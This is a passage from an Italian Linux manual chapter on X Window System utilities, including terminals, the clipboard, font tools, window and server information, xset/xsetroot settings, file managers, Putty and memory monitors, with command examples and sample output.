  Avvia una finestra di terminale in cui si utilizza la codifica dei caratteri UTF-8.

Dopo '**xterm**', il programma più importante è '**mlterm**',[3] che si distingue per la sua migliore predisposizione alla rappresentazione di testi in lingue differenti, modificando automaticamente anche la direzione del testo, in base al linguaggio usato:

```
mlterm [opzioni] [-e programma [opzioni]]
```

Il funzionamento e l'utilizzo è equivalente a quello di '**`xterm`**', con la differenza che le opzioni non sono sempre compatibili. In particolare, per ottenere una shell di *login*, occorre usare l'opzione '**`--ls=true`**', mentre per assicurarsi che non lo sia, si usa l'opzione '**`--ls=false`**'.

32.2.2 Clipboard

Il servente X offre un supporto modesto alla gestione delle operazioni con cui si taglia, copia e incolla: si tratta esclusivamente delle stringhe (alfanumeriche), per cui tutto si limita alla possibilità di copiare una parte di testo da una finestra di terminale a un'altra.

L'operazione di copia avviene utilizzando il mouse, premendo il tasto sinistro e trascinando in modo da evidenziare il testo desiderato. Per incollare in un'altra applicazione occorre fare in modo che questa passi in primo piano (cioè che la sua finestra diventi quella attiva), poi basta premere il secondo tasto (normalmente è quello centrale) e il testo viene inserito come se venisse digitato, a partire dalla posizione del cursore.

Quando non si dispone di un mouse a tre tasti, oppure se il tasto centrale non funziona, si ottiene la funzione del tasto centrale con la pressione simultanea dei due tasti funzionanti.

Per incollare del testo all'interno di un'applicazione VI, occorre prima attivare la modalità di inserimento, altrimenti VI utilizza il testo incollato come una serie di comandi. Lo stesso ragionamento vale ovviamente anche per altri programmi che possono utilizzare i caratteri normali sia come testo da inserire che come comandi da eseguire.

Ci sono anche altri modi per evidenziare un testo, ma quello che conta è che il testo selezionato per la copia deve rimanere evidenziato fino al momento in cui si intende incollare quel testo.

Molti programmi sono in grado di utilizzare questo servizio offerto da X, ma non tutti. Alcuni programmi hanno la necessità di gestire in proprio le funzionalità relative alle operazioni per tagliare, copiare e incollare, soprattutto quando si tratta di testo formattato, immagini e altro. In questi casi, vengono utilizzati dei meccanismi di comunicazione tra i processi indipendenti dal sistema grafico. Di conseguenza, possono comunicare tra loro solo i processi predisposti per quel particolare sistema di comunicazione. Questo dovrebbe chiarire il motivo per cui il trasferimento di informazioni tra un'applicazione e l'altra, attraverso operazioni per tagliare, copiare e incollare, funziona solo in alcune situazioni e tra particolari gruppi di programmi.

32.2.2.1 Utilizzo di «xclipboard»

Il programma '**`xclipboard`**'[4] facilita l'utilizzo del servizio per tagliare, copiare e incollare, fornito dal servente X. Si tratta di una serie di pagine su cui è possibile scrivere e incollare del testo attraverso il meccanismo normale di X.

```
xclipboard [opzioni]
```

Figura 32.8. Il programma '**`xclipboard`**' permette di utilizzare un'area transitoria per tagliare, copiare e incollare.

Sotto questo aspetto si tratta di niente di più che una specie di programma per la creazione e modifica di testo. Tuttavia, l'accorgimento della gestione di pagine separate lo rende più pratico per questo scopo.

Il programma mostra un menù molto semplice composto da alcune voci all'interno di pulsanti grafici:

QUIT	termina l'esecuzione;
DELETE	svuota il contenuto della pagina attiva;
NEW	crea una nuova pagina;
SAVE	salva la pagina corrente in un file di testo normale;
NEXT	visualizza la pagina successiva;
PREV	visualizza la pagina precedente.

Per incollare del testo in un'applicazione, utilizzando quanto conservato con questo programma, si deve selezionare la pagina che interessa e poi si deve evidenziare il testo desiderato. Quindi si incolla nel modo solito.

32.2.3 Caratteri

Nel capitolo introduttivo a X si accenna all'organizzazione dei nomi dei caratteri da stampa usati per la visualizzazione sullo schermo. In particolare, quando i programmi fanno riferimento a un carattere (un tipo di carattere), è consentito normalmente l'uso di simboli jolly (o metacaratteri): l'asterisco e il punto interrogativo. Questi simboli hanno lo stesso significato che gli si attribuisce quando vengono usati per i nomi dei file: l'asterisco corrisponde a qualunque sequenza di caratteri, mentre il punto interrogativo corrisponde a un solo carattere qualsiasi.

Quando attraverso la riga di comando si deve fare riferimento a un modello, cioè un nome che fa uso di simboli jolly, è bene ricordare che la shell interpreta questi simboli se non vengono protetti. Nel caso delle shell derivate da quella di Bourne, basta racchiudere il nome tra apici singoli.

La maggior parte dei programmi, quando deve fare riferimento a un carattere tipografico attraverso la riga di comando, riconosce l'opzione '**`-font`** *tipo_di_carattere*' (abbreviabile anche con '**`-fn`**').

32.2.3.1 Utilizzo di «xlsfonts»

Il programma '**`xlsfonts`**'[5] elenca i caratteri tipografici a disposizione in base a quanto specificato attraverso le opzioni. L'opzione più importante è '**`-font`** *modello*', con la quale è possibile indicare un gruppo di caratteri.

```
xlsfonts [opzioni]
```

Segue la descrizione di alcuni esempi.

- `$` **`xlsfonts`** [*Invio*]

  Elenca tutti i caratteri tipografici a disposizione.

- `$` **`xlsfonts -font '*'`** [*Invio*]

  Esattamente come nell'esempio precedente, solo che viene indicato espressamente un modello che si riferisce a tutti i tipi di carattere.

- `$` **`xlsfonts -font '-courier-*'`** [*Invio*]

  Elenca tutti i tipi di carattere il cui nome inizia per '**`-courier-`**'.

32.2.3.2 Utilizzo di «xfontsel»

Il programma '**`xfontsel`**'[6] consente di conoscere quali sono i tipi di carattere a disposizione. È comodo da usare, soprattutto perché fornisce la possibilità di selezionare il tipo di carattere attraverso la specificazione delle caratteristiche desiderate per mezzo di un sistema di menù.

```
xfontsel [opzioni]
```

Figura 32.10. Attraverso '**`xfontsel`**' si possono visualizzare i tipi di carattere a disposizione.

quit select 4 names match
-fndry-fmly-wght-slant-sWdth-adstyl-pxlsz-ptSz-resx-resy-spc-avgWdth-rgstry-encdng
-adobe-symbol-*-*-*-*-25-*-*-*-*-*-*-*
ΑΒΧΔΕΦΓΗΙϑΚΛΜΝΟΠΘΡΣΤΥςΩΞΨΖ
αβχδεφγηιφκλμνοπθρστυϖωξψζ
0123456789
◊〈|⌊⌊〉⌈⌉}ℵ∅∩⊄∈∠∇©∧⇑

32.2.3.3 Utilizzo di «xfd»

Il programma '**`xfd`**'[7] visualizza l'aspetto e la codifica di carattere tipografico che deve essere determinato obbligatoriamente dalle opzioni. Di conseguenza, l'utilizzo dell'opzione '**`-font`**' è obbligatoria.

```
xfd [opzioni] -font tipo_di_carattere
```

Figura 32.11. Attraverso '**`xfd`**' si può visualizzare l'insieme di caratteri corrispondente a un certo tipo di carattere.

-Adobe-Times-Medium-R-Normal--10-100-75-75-P-54-ISO8859-1

Quit Prev Page Next Page

Select a character

range: 0x0020 (0,32) thru 0x00ff (0,255)

upper left: 0x0000 (0,0)

	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/
0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?
@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_
`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o
p	q	r	s	t	u	v	w	x	y	z	{	|	}	~	
	¡	¢	£	¤	¥	¦	§	¨	©	ª	«	¬	-	®	¯
°	±	²	³	´	µ	¶	·	¸	¹	º	»	¼	½	¾	¿
À	Á	Â	Ã	Ä	Å	Æ	Ç	È	É	Ê	Ë	Ì	Í	Î	Ï
Ð	Ñ	Ò	Ó	Ô	Õ	Ö	×	Ø	Ù	Ú	Û	Ü	Ý	Þ	ß
à	á	â	ã	ä	å	æ	ç	è	é	ê	ë	ì	í	î	ï
ð	ñ	ò	ó	ô	õ	ö	÷	ø	ù	ú	û	ü	ý	þ	ÿ

32.2.4 Informazioni sulle finestre e sul servente

Le informazioni sullo stato di una finestra possono essere utili sia a titolo diagnostico, sia per poter riprodurre le stesse condizioni attraverso la configurazione di opzioni o di risorse.

Le informazioni su un servente possono essere interessanti, in particolare quando vengono richieste a distanza.

32.2.4.1 Utilizzo di «xwininfo»

Il programma '**`xwininfo`**'[8] permette di avere tutte le notizie possibili su una finestra determinata. Emette il risultato attraverso lo standard output, quindi conviene avviare questo programma da una finestra di terminale, se non si intende ridirigere l'output.

```
xwininfo [opzioni]
```

Tabella 32.12. Alcune opzioni.

Opzione	Descrizione
`-id` ***identificatore_della_finestra***	Permette di specificare la finestra della quale si vogliono le informazioni, attraverso il codice esadecimale che la identifica.
`-root`	Emette le informazioni sulla finestra principale cioè la superficie grafica su cui si collocano le finestre normali.
`-int`	Richiede che gli identificatori delle finestre siano emessi in forma decimale, mentre normalmente vengono mostrati in esadecimale.
`-children`	Emette l'indicazione della finestra principale, di quella genitrice e delle figlie di quella specificata. Permette quindi di avere una visione della dipendenza che c'è tra le finestre, con particolare attenzione alle figlie.
`-tree`	Emette l'indicazione della finestra principale, di quella genitrice, delle figlie e delle successive, ricorsivamente. Funziona in maniera simile all'opzione '**`-children`**', con la differenza che mostra tutte le discendenze.
`-stats`	Emette molte informazioni riferite alla finestra. Corrisponde al comportamento predefinito, quando non si specificano opzioni.
`-all`	Emette tutte le informazioni possibili.

Ecco come si comporta '**`xwininfo`**':

$ **`xwininfo`** [*Invio*]

```
xwininfo: Please select the window about which you
          would like information by clicking the
          mouse in that window.
```

Il programma invita a utilizzare il mouse per indicare una finestra della quale si vogliono conoscere le informazioni.

```
xwininfo: Window id: 0x2000002 "rxvt"

  Absolute upper-left X:  272
  Absolute upper-left Y:  165
  Relative upper-left X:  0
  Relative upper-left Y:  0
  Width: 494
  Height: 329
  Depth: 8
  Visual Class: PseudoColor
  Border width: 0
  Class: InputOutput
  Colormap: 0x26 (installed)
  Bit Gravity State: ForgetGravity
  Window Gravity State: NorthWestGravity
  Backing Store State: NotUseful
  Save Under State: no
  Map State: IsViewable
  Override Redirect State: no
  Corners:  +272+165  -34+165  -34-106  +272-106
  -geometry 80x25-29+143
```

32.2.4.2 Utilizzo di «xdpyinfo»

Il programma '**`xdpyinfo`**'[9] permette di avere tutte le informazioni possibili su un servente X particolare, eventualmente anche remoto.

```
xdpyinfo [opzioni]
```

Opzione	Descrizione
`-display` ***identificatore_del_servente***	Permette di definire esplicitamente le coordinate necessarie a raggiungere il servente che si desidera interrogare.

Si osservi l'esempio seguente:

`$` **`xdpyinfo dinkel.brot.dg:0`** [*Invio*]

```
name of display:    dinkel.brot.dg:0.0
version number:    11.0
vendor string:    The XFree86 Project, Inc
vendor release number:    3200
maximum request size:  4194300 bytes
motion buffer size:  256
bitmap unit, bit order, padding:    32, LSBFirst, 32
image byte order:    LSBFirst
number of supported pixmap formats:    2
```

```
supported pixmap formats:
    depth 1, bits_per_pixel 1, scanline_pad 32
    depth 8, bits_per_pixel 8, scanline_pad 32
keycode range:    minimum 9, maximum 117
focus:  window 0x1800002, revert to Parent
number of extensions:    15
    BIG-REQUESTS
    DOUBLE-BUFFER
    MIT-SCREEN-SAVER
    MIT-SHM
    MIT-SUNDRY-NONSTANDARD
    RECORD
    SHAPE
    SYNC
    XC-MISC
    XFree86-DGA
    XFree86-Misc
    XFree86-VidModeExtension
    XInputExtension
    XKEYBOARD
    XTEST
default screen number:    0
number of screens:    1

screen #0:
  dimensions:    800x600 pixels (271x203 millimeters)
  resolution:    75x75 dots per inch
  depths (2):    1, 8
  root window id:    0x2a
  depth of root window:    8 planes
  number of colormaps:    minimum 1, maximum 1
  default colormap:    0x26
  default number of colormap cells:    256
  preallocated pixels:    black 0, white 1
  options:    backing-store YES, save-unders YES
  largest cursor:    64x64
  current input event mask:    0x58003d
    KeyPressMask             ButtonPressMask          ButtonReleaseMask
    EnterWindowMask          LeaveWindowMask          SubstructureNotifyMask
    SubstructureRedirectMask PropertyChangeMask
  number of visuals:    6
  default visual id:  0x20
  visual:
    visual id:    0x20
    class:    PseudoColor
    depth:    8 planes
    available colormap entries:    256
    red, green, blue masks:    0x0, 0x0, 0x0
```

```
    significant bits in color specification:    6 bits
  visual:
    visual id:    0x21
    class:    DirectColor
    depth:    8 planes
    available colormap entries:    8 per subfield
    red, green, blue masks:    0x7, 0x38, 0xc0
    significant bits in color specification:    6 bits
...
```

Il listato che si ottiene è molto lungo, ma le informazioni più importanti possono essere ritrovate nella prima parte. In particolare si nota la dimensione (800×600), la risoluzione (75×75 dpi), la profondità di colori (8 bit) e di conseguenza il numero di colori a disposizione (256):

```
screen #0:
  dimensions:    800x600 pixels (271x203 millimeters)
  resolution:    75x75 dots per inch
  depths (2):    1, 8
  root window id:    0x2a
  depth of root window:    8 planes
  number of colormaps:    minimum 1, maximum 1
  default colormap:    0x26
  default number of colormap cells:    256
...
```

32.2.5 Impostazione dello schermo

La configurazione del funzionamento dello schermo riguarda il tipo di interazione tra l'utente e i programmi (tastiera, mouse, salva-schermo), oltre al tipo di superficie grafica, ovvero la finestra principale.

32.2.5.1 Utilizzo di «xset»

Il programma '**xset**'[10] permette di definire e leggere una grande quantità di impostazioni che riguardano la stazione grafica (il servente X). Le opzioni particolari di questo programma non utilizzano il trattino tradizionale, o quantomeno non nel modo solito. Quando l'utente che ha impostato la configurazione termina la sua sessione di lavoro, tutto torna al suo valore precedente.

```
xset [opzioni]
```

Tabella 32.18. Alcune opzioni.

Opzione	Descrizione
`-display` ***identificatore_del_servente***	Permette di definire esplicitamente le coordinate necessarie a raggiungere il servente su cui si desidera intervenire.
`b` {***volume tono durata***} ↩ ↪| {`on`|`off`}	Definisce il suono dell'avvisatore acustico. Utilizzando gli argomenti '**`on`**' oppure '**`off`**' si attiva o si disattiva l'avvisatore acustico.
`m` [{***accelerazione*** [***soglia***]} ↩ ↪| `default`]	Permette di definire il valore di accelerazione e di soglia dello spostamento del dispositivo di puntamento. Se non viene indicato alcun valore, oppure se viene utilizzato l'argomento '**`default`**', si ripristinano le impostazioni predefinite. L'accelerazione può essere stabilita indicando un numero intero che rappresenta un valore da moltiplicare alla velocità, quando questa supera il valore di soglia specificato. In pratica, se lo spostamento è al di sotto della soglia, il movimento del puntatore è lento, se questa viene superata, lo spostamento risulta accelerato del fattore di accelerazione indicato.
`r` [`on`|`off`]	Abilita o disabilita la ripetizione del tasto premuto a lungo.
`s` [{***durata_inattività*** ↩ ↪[***durata_esposizione***]} ↩ ↪| ***parola_chiave***]	Questa opzione permette l'utilizzo di due argomenti numerici o di una parola chiave. Lo scopo è quello di configurare il comportamento del salva-schermo. La durata di inattività rappresenta il tempo, in secondi, che deve trascorrere prima che si attivi il salva-schermo; la durata di esposizione riguarda il caso in cui si utilizzi un'immagine al posto dello schermo nero; rappresenta il tempo in cui questa immagine può rimanere ferma. Segue l'elenco e la descrizione delle parole chiave.
`s default`	Pone tutti i valori a quanto stabilito in modo predefinito.
`s` {`on`|`off`}	Attiva o disattiva la modalità.
`s` {`blank`|`noblank`}	In alcuni sistemi, non è possibile o non si desidera oscurare completamente lo schermo. '**`blank`**' utilizza l'oscuramento, mentre '**`noblank`**' mostra un'immagine e in tal caso si fa uso della durata di esposizione per sapere quanto tempo questa immagine può stare ferma.
`s activate`	Attiva immediatamente il salva-schermo.
`s reset`	Disattiva il salva-schermo se è attivo.
`q`	Permette di ottenere le informazioni relative a tutte le impostazioni a cui può accedere '**`xset`**'.

Segue la descrizione di alcuni esempi.

- `$` **`xset b 100 1000 100`** [*Invio*]

  Imposta un suono acuto e breve per l'avvisatore acustico.

- `$` **`xset m 10 5`** [*Invio*]

  Imposta un mouse veloce.

- `$` **`xset m 4 2`** [*Invio*]

Imposta un mouse normale.

- `$ xset s 30 s blank` [*Invio*]

  Fissa la durata di attesa per l'attivazione del salva-schermo a 30 secondi e stabilisce che deve trattarsi di uno schermo nero.

- `$ xset q` [*Invio*]

```
Keyboard Control:
  auto repeat:  on    key click percent:  0    LED mask:  00000000
  auto repeat delay:  500    repeat rate:  5
  auto repeating keys:  00feffffdffffbbf
                        fa9fffffffdf3d00
                        0000000000000000
                        0000000000000000
  bell percent:  100    bell pitch:  200    bell duration:  1000
Pointer Control:
  acceleration:  4/1    threshold:  4
Screen Saver:
  prefer blanking:  yes    allow exposures:  yes
  timeout:  30    cycle:  1
  suspend time:  900    off time:  1800
Colors:
  default colormap:  0x26    BlackPixel:  0    WhitePixel:  1
Font Path:
  /usr/lib/X11/fonts/misc/,/usr/lib/X11/fonts/75dpi/
Bug Mode: compatibility mode is disabled
```

Visualizza la configurazione corrente.

32.2.5.2 Utilizzo di «xsetroot»

Il programma '**`xsetroot`**'[11] permette di gestire le caratteristiche della finestra principale, ovvero la superficie grafica su cui si appoggiano le finestre normali.

```
xsetroot [opzioni]
```

Tabella 32.20. Alcune opzioni.

Opzione	Descrizione
`-display` ***identificatore_del_servente***	Permette di definire esplicitamente le coordinate necessarie a raggiungere il servente su cui si desidera intervenire.
`-def`	Ripristina l'impostazione predefinita.
`-cursor` ***file_puntatore file_maschera***	Permette di definire un'immagine diversa per il puntatore che appare quando questo si trova sulla superficie della finestra principale. Per realizzare questi file si può usare il programma '**`bitmap`**'. L'immagine usata come primo argomento dell'opzione si «appoggia» sull'immagine usata come secondo. Se non si vogliono ottenere trasparenze o bordi, basta usare lo stesso file per il primo e il secondo argomento.

Opzione	Descrizione
`-bitmap` *immagine_bitmap*	Permette di definire una piccola immagine da usare ripetitivamente come fondale. Il formato dell'immagine è quello generato dal programma '**`bitmap`**'.
`-gray` `-grey`	Rende lo sfondo grigio.
`-solid` *colore*	Definisce il colore dello sfondo.

Segue la descrizione di alcuni esempi.

- `$` **`xsetroot -solid gold`** [*Invio*]

  Colora lo sfondo con la tinta '**`gold`**'.

- `$` **`xsetroot -cursor freccia.bitmap contorno.bitmap`** [*Invio*]

  Cambia l'aspetto del puntatore grafico, utilizzando il file '`freccia.bitmap`' per il disegno nero, presumibilmente di una freccia, e il file '`contorno.bitmap`' come maschera.

32.2.5.3 Disegno del puntatore del mouse

Attraverso il programma '**`bitmap`**'[12] è possibile disegnare l'immagine del puntatore grafico, secondo il formato previsto da '**`xsetroot`**'. Il programma si usa normalmente in modo interattivo, senza fornire argomenti:

```
bitmap [opzioni] [file]
```

Il disegno che si può costruire è semplicemente un mosaico rettangolare di tessere nere o bianche; normalmente la superficie iniziale è di 16×16 punti, ma può essere modificata selezionando la voce *`Resize`* del menù *`File`*.

Figura 32.21. Il programma '**bitmap**' con un disegno di 33×33 punti.

L'immagine che si vede nella figura potrebbe essere usata per costruire un puntatore grafico. Per fare in modo che le linee appaiano nere, occorre utilizzare un'altra immagine, simile, da usare come maschera. Nella figura successiva si vede un'immagine che riproduce la stessa forma, con dei segni più spessi:

La seconda immagine viene usata come sfondo, di colore bianco, mentre la prima si posa sopra, con un tratto di colore nero:

$ **xsetroot -cursor primo secondo** [*Invio*]

Come si intende, il comando mostrato serve a utilizzare effettivamente il disegno come puntatore grafico, dove i nomi '`primo`' e '`secondo`' rappresentano rispettivamente il primo e il secondo file, realizzati con '**`bitmap`**'.

32.2.6 Programmi di servizio vari

Alcuni programmi, per quanto semplici, sono di grande utilità, pertanto è opportuno conoscerne almeno l'esistenza.

Il controllo dell'utilizzo delle risorse di sistema può essere fatto attraverso '**`xidle`**', '**`xload`**' e '**`xmem`**', che, rispettivamente, servono per visualizzare il grafico: dell'inattività del sistema, del carico di sistema; della memoria disponibile.

```
xidle [opzioni]
```

```
xload [opzioni]
```

```
xmem [opzioni]
```

A volte si ha la necessità di concludere l'esecuzione di un'applicazione in modo più o meno violento perché questa è sfuggita al controllo. Di solito, per ottenere questo risultato si utilizza l'invio di un segnale attraverso una shell. Quando si tratta di applicazioni per X si può utilizzare una tecnica in più: si comunica al servente di terminare la connessione con l'applicazione che si desidera concludere. Ciò si può ottenere attraverso una funzione fornita dal gestore di finestre o da un programma apposito: '**`xkill`**'.[13]

```
xkill [opzioni]
```

Il programma '**`xkill`**' permette di eliminare un programma funzionante in una finestra del sistema grafico X. Quando viene utilizzato senza argomenti, '**`xkill`**' trasforma il puntatore in un'immagine speciale (solitamente si tratta di un teschio nero) e permette di indicare direttamente la finestra da eliminare. Basta un clic e si ottiene il risultato.

Quando si utilizza prevalentemente il sistema grafico, si può avere la necessità di essere avvisati in presenza di posta elettronica nella propria casella. Alcuni gestori di finestre forniscono già questo tipo di informazione, ma in mancanza di altro può essere utile '**`xbiff`**':[14]

```
xbiff [opzioni]
```

Il programma '**`xbiff`**' è si limita ad avvisare quando il file utilizzato per ricevere la posta elettronica risulta contenere qualcosa. Il programma è altamente configurabile, sia attraverso le opzioni, sia attraverso le risorse. In particolare, vale la pena di considerare l'opzione '**`-file`** *file*', con cui si può indicare a '**`xbiff`**' di controllare un file differente rispetto a quello predefinito.

Figura 32.23. Il programma '**xbiff**' quando il file della posta elettronica è vuoto e quando ci sono dei messaggi.

Nelle sezioni successive si descrivono altri programmi di servizio un po' più importanti.

32.2.6.1 Utilizzo di «xclock»

Il programma '**xclock**'[15] si occupa di visualizzare l'ora. Dal momento che è possibile visualizzare l'ora in modo digitale (numerico), l'opzione '**-font**' ha significato e può essere utile per cambiare l'aspetto dei caratteri.

```
xclock [opzioni]
```

Figura 32.24. '**xclock -digital -font '-adobe-times-bold-i-*--24-*'**'

Sun Oct 12 16:06:46 1997

Alcuni gestori di finestre forniscono già un orologio attraverso i loro componenti; in questi casi non serve utilizzare '**xclock**'.[16]

Opzione	Descrizione
`-analog`	Mostra l'ora in modo analogico.
`-digital`	Mostra l'ora in forma numerica.

Risorsa	Descrizione
`*analog: {on|off}`	Mostra l'ora in modo analogico ('**on**') oppure digitale ('**off**').

32.2.6.2 Utilizzo di «xcalc»

Il programma '**xcalc**'[17] è una calcolatrice semplice e potente. Il suo funzionamento è abbastanza intuitivo, se non si desidera utilizzare la notazione polacca inversa, ma si tratta di un programma altamente configurabile ed eventualmente vale la pena di consultare la documentazione originale: *xcalc(1)*.

```
xcalc [opzioni]
```

Opzione	Descrizione
`-rpn`	Imposta l'aspetto e il funzionamento secondo la notazione polacca inversa.

Risorsa	Descrizione
`*rpn: {on|off}`	Imposta o annulla l'aspetto e il funzionamento secondo la notazione polacca inversa.

32.3 Gestori di file

Un gestore di file (*file manager*) grafico può essere uno strumento molto utile se è configurato correttamente; diversamente, è meglio usare la finestra di terminale tradizionale. Il gestore di file è un programma che nella sua evoluzione, parte dalla gestione pura e semplice dei file contenuti nel file system locale, per arrivare a includere tutti i protocolli di comunicazione che in qualche modo consentono il trasferimento di file. Eventualmente, il punto massimo di evoluzione di un gestore di file consiste nell'integrazione delle funzionalità tipiche di un navigatore di Internet

32.3.1 XFE

XFE,[18] ovvero *X file explorer*, è un gestore di file molto semplice e intuitivo. Quando si avvia l'eseguibile '**`xfe`**', appare generalmente come nella figura 32.29.

Figura 32.29. XFE mentre è aperta la directory '`/usr/doc/alml/`'.

XFE si può configurare modificando il file '`/etc/xfe/xferc`', cosa che diventa molto utile per stabilire esattamente quali programmi usare per aprire o modificare i file che hanno certe estensioni del nome. In alternativa, per questo gli utenti possono intervenire nel proprio file '`~/.xfe/xferc`'.

Il file di configurazione è strutturato in modo abbastanza intuitivo. Si compone di sezioni, individuabili perché iniziano con un nome tra parentesi quadre, e di direttive. La modifica più

probabile da apportare al file di configurazione riguarda la scelta dei programmi da avviare, a seconda delle azioni che si compiono con il mouse, quando il puntatore si trova sopra ai file con certe estensioni. Viene proposto un estratto di esempio di tale file:

```
[FILETYPES]
…
tex = "kedit,kedit,kedit;TeX Document;tex_32x32.png;tex_16x16.png;;"
dvi = "xdvi,xdvi,;DVI Document;dvi_32x32.png;dvi_16x16.png;;"
pdf = "xpdf,xpdf,;PDF Document;pdf_32x32.png;pdf_16x16.png;;"
ps = "gv,gv,;PostScript Document;ps_32x32.png;ps_16x16.png;;"
…
img = ",,;Image File;package_32x32.png;package_16x16.png;;"
iso = ",,;ISO9660 Image;package_32x32.png;package_16x16.png;;"
…
exe = "wine,,;Windows EXE;exe_32x32.png;exe_16x16.png;;"
…
```

Come si può intuire, alla sinistra di queste direttive appare l'estensione del file a cui si intende fare riferimento; quindi, dopo il segno '**=**', appare una stringa delimitata che contiene le indicazioni di come aprire il file e di come mostrarlo nell'elenco. In tale stringa possono apparire inizialmente tre nomi, separati da una virgola, i quali individuano i programmi da utilizzare, rispettivamente, per aprire (ovvero eseguire), visualizzare e modificare il file; successivamente viene collocata una descrizione del tipo di file e i file delle icone da mostrare.

Nell'esempio si può vedere che i file con estensione '`.tex`' vengono aperti, visualizzati e modificati sempre con lo stesso programma: '**`kedit`**'; nel caso invece dei file con estensione '`.ps`', è possibile solo l'apertura o la visualizzazione, utilizzando '**`gv`**' (Ghostview). Quando i file hanno estensione '`.exe`', è possibile solo aprirli (eseguirli), utilizzando il programma '**`wine`**'.

L'apertura di un file si ottiene con un clic doppio sul nome, mentre la selezione e la visualizzazione si ottengono facendo apparire un menù contestuale con il tasto destro del mouse.

32.3.2 Nautilus

Nautilus,[19] come suggerisce il nome, intende divenire un «navigatore» generico, sia per il file system locale, sia per i protocolli di rete che consentono la gestione dei file in qualche modo.

```
nautilus [opzioni]
```

Nautilus è realizzato per integrarsi con l'ambiente di Gnome. All'avvio dell'eseguibile '**`nautilus`**' senza argomenti, si ottiene normalmente una finestra con l'elenco del contenuto della propria directory personale, assieme a una finestra che dovrebbe sostituirsi alla finestra principale, ovvero alla superficie grafica di fondo, nella quale appaiono delle icone associate a delle funzioni particolari. In generale, quando si usa Nautilus al di fuori del contesto di Gnome, conviene usare l'opzione '**`--no-desktop`**', per non avviare la finestra con le icone che molto probabilmente è del tutto inutile.

Figura 32.31. Nautilus mentre si accede alla directory personale dell'utente.

Figura 32.32. Nautilus mentre si accede a un servizio FTP anonimo.

32.3.3 Konqueror

Konqueror,[20] è un navigatore generico, completo, in grado di accedere al file system locale e ad altri protocolli di rete, compresa la capacità di visualizzare documenti HTML.

konqueror [*opzioni*] [*uri*]

Konqueror è inteso come il navigatore generico per l'ambiente KDE. All'avvio dell'eseguibile '**konqueror**' senza argomenti, si ottiene normalmente una finestra con l'elenco del contenuto

della propria directory personale, altrimenti è possibile indicare un indirizzo URI o anche solo un percorso del file system locale.

Figura 32.33. Konqueror mentre si accede alla directory personale dell'utente.

Figura 32.34. Konqueror mentre si accede a un servizio FTP anonimo.

Name	Size	File Type	Modified	Permissions	Owner	Group	Link
bin	4.0 KB	Folder	2002-12-19 00:00	--x--x--x	0	0	
etc	4.0 KB	Folder	2002-12-19 00:00	--x--x--x	0	0	
lib	4.0 KB	Folder	2002-12-19 00:00	--x--x--x	0	0	
mirrors	11 B	Folder	2002-12-19 00:00	rwxrwxrwx	0	0	pub/mirrors
pub	4.0 KB	Folder	2004-04-30 11:30	r-xr-xr-x	0	0	
dim	899 B	Unknown	2004-06-03 16:30	rw-r--r--	0	0	
ls-lR	21.3 MB	Unknown	2004-06-04 06:30	rw-r--r--	0	0	
ls-lR.gz	2.8 MB	Gzip File	2004-06-04 06:30	rw-r--r--	0	0	
ls-lR.patch.gz	218.2 KB	Gzip File	2004-06-04 06:30	rw-r--r--	0	0	
ls-lR.times	22 B	Unknown	2004-06-04 06:30	rw-r--r--	0	0	
timezone	12 B	Unknown	2002-12-19 00:00	rw-r--r--	0	0	
welcome.msg	346 B	Unknown	2002-12-19 00:00	rw-r--r--	0	0	

32.3.4 File-roller

File-roller[21] è un programma che ha lo scopo di facilitare l'accesso ad archivi compressi e la loro realizzazione, quando non si vogliono usare gli strumenti tradizionali (a riga di comando).

Figura 32.35. L'aspetto di File-roller dopo l'apertura di un file '`.zip`'.

L'utilità maggiore nell'uso di File-roller sta nell'abbinamento con programmi come Nautilus, che lo avviano automaticamente quando il contesto lo suggerisce.

32.4 Accesso remoto tradizionale

Per accesso remoto «tradizionale», si intende qui ciò che si può fare, per esempio con il protocollo TELNET e con SSH. I programmi per l'utilizzo di tali protocolli funzionano generalmente senza grafica, tuttavia tendono ad apparire anche programmi realizzati specificatamente per la grafica. Questo capitolo intende far conoscere l'esistenza di tali programmi, senza entrare nella descrizione dei protocolli utilizzati.

32.4.1 Putty

Putty[22] è un programma abbastanza noto nell'ambiente MS-Windows, perché può essere utilizzato come programma cliente per accedere a un servente TELNET (sezione 42.8) o SSH (si veda OpenSSH nella sezione 49.7).

```
putty [opzioni] [nodo]
```

Putty si avvia attraverso il programma eseguibile '**`putty`**', generalmente senza bisogno di specificare argomenti, perché anche l'indirizzo o il nome dell'elaboratore remoto da raggiungere può essere indicato attraverso una finestra di dialogo. Tuttavia, per usare Putty, si richiede almeno la conoscenza elementare nell'uso dei programmi tradizionali che svolgono lo stesso genere di lavoro.

Figura 32.36. Putty avviato senza argomenti particolari.

La figura mostra Putty appena dopo l'avvio, senza inserire opzioni o argomenti particolari. Si nota comunque che l'utente ha già inserito l'indirizzo IPv4 che intende raggiungere, dove si aspetta di intrattenere una connessione attraverso il protocollo SSH (porta 22).

Nella porzione sinistra della finestra di dialogo, appare un albero di voci che fanno riferimento alla configurazione di Putty; di solito non serve intervenire, per lasciare le impostazioni predefinite.

Quando si è pronti per il collegamento basta selezionare il pulsante grafico OPEN.

Figura 32.37. Putty al lavoro durante una connessione SSH.

```
login as: daniele
Password:
Last login: Sun Jun 20 09:43:15 2004 from 172.21.1.1
daniele@192.168.1.1:~$
```

32.5 Monitor di vario tipo

Il pacchetto tradizionale di programmi di servizio di X include qualche piccola applicazione per visualizzare lo stato di utilizzo del sistema e della memoria (‘**`xmem`**’, ‘**`xload`**’ e ‘**`xidle`**’). Eventualmente, altri programmi possono essere interessanti per avere una visione grafica di ciò che accade nel proprio elaboratore.

32.5.1 Gmemusage

Gmemusage[23] è un programma che mostra graficamente l’utilizzo della memoria da parte dei processi elaborativi in funzione nel proprio sistema:

```
gmemusage [opzioni]
```

Attraverso le opzioni è possibile intervenire, tra le altre cose, sulla scelta dei colori, dei caratteri e delle dimensioni iniziali della finestra. Si può controllare anche l’entità minima di memoria da considerare, ma questo si può modificare anche durante il funzionamento del programma, con l’uso dei tasti [*freccia-su*] e [*freccia-giù*]. La figura successiva mostra come si presenta il programma avviando l’eseguibile ‘**`gmemusage`**’ senza opzioni.

Figura 32.38. Gmemusage durante il funzionamento, in condizioni normali.

32.5.2 Etherape

